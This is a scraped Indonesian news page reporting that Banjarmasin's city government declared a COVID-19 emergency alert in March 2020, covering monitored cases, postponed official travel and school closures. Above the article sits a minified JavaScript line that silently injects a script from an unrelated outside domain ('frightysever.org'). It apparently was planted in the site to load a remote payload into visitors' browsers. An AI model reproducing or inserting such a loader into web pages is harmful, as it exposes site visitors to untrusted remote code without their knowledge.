(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemko Banjarmasin menetapkan status siaga darurat virus Corona atau COVID-19. Langkah penetapan ini serupa dengan yang diambil oleh Pemprov Kalsel.
“(Status) sama, yaitu siaga darurat. Karena sampai saat ini belum ada kasus positif Covid-19,” kata Wali Kota Banjarmasin H. Ibnu Sina saat ditemui jelang rapat terbatas (ratas) dengan seluruh unsur SKPD di Pemko Banjarmasin, Selasa (17/3/2020) pagi.
Berdasarkan informasi yang ia dapat dari Dinas Kesehatan Kota Banjarmasin, Ibnu berkata sudah ada 32 orang yang berada dalam pemantauan dan pengawasan. Namun demikian, 22 orang di antaranya dinyatakan negatif Covid-19.
“Kita tetap waspada. Agar anak-anak kita terlindung, kemudian yang terpenting adalah memutus mata rantai (penularan). Karena 14 hari itu golden time, betul-betul masa emas bagi kita untuk mengkarantina diri kita sendiri,” ucap Ibnu.
Di samping itu, Ibnu berujar, perjalanan dinas seluruh SKPD di lingkungan Pemko Banjarmasin sudah banyak yang diputuskan untuk ditunda. Selama 14 hari ke depan, seluruh nota-nota dinas yang masuk ke meja kerjanya sudah dibatalkan keberangkatannya. “Kecuali, yang memang merupakan perintah dari Pemerintah Pusat dan harus dihadiri yang sifatnya koordinasi pencegahan dan pelaksanaan di lapangan,” jelas Ibnu.
Pemko Banjarmasin sendiri, sudah menerbitkan surat edaran (SE) yang meliburkan anak-anak sekolah guna mengantisipasi penyebaran Covid-19 pada Selasa (17/3/2020). SE dengan nomor 420/1170-Sekr/Dispendik/2020 ini berisi instruksi-instruksi selama diliburkannya aktivitas sekolah.
Namun, bagaimana pengawasan nantinya jika didapati anak-anak malah beraktivitas di luar rumah? Ibnu mengatakan, ia telah berkoordinasi dengan Dishub Kota Banjarmasin dan Satpol PP Kota Banjarmasin guna memastikan SE yang diterbitkan dipatuhi.
“Jangan sampai anak-anak kita ditemukan di pusat-pusat keramaian. Satpol PP akan melakukan pemantauan, dan pastikan berada di rumah. Bikin program pembelajaran di rumah, dampingi anak-anak untuk proses kegiatan pembelajaran,” tukas Ibnu. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.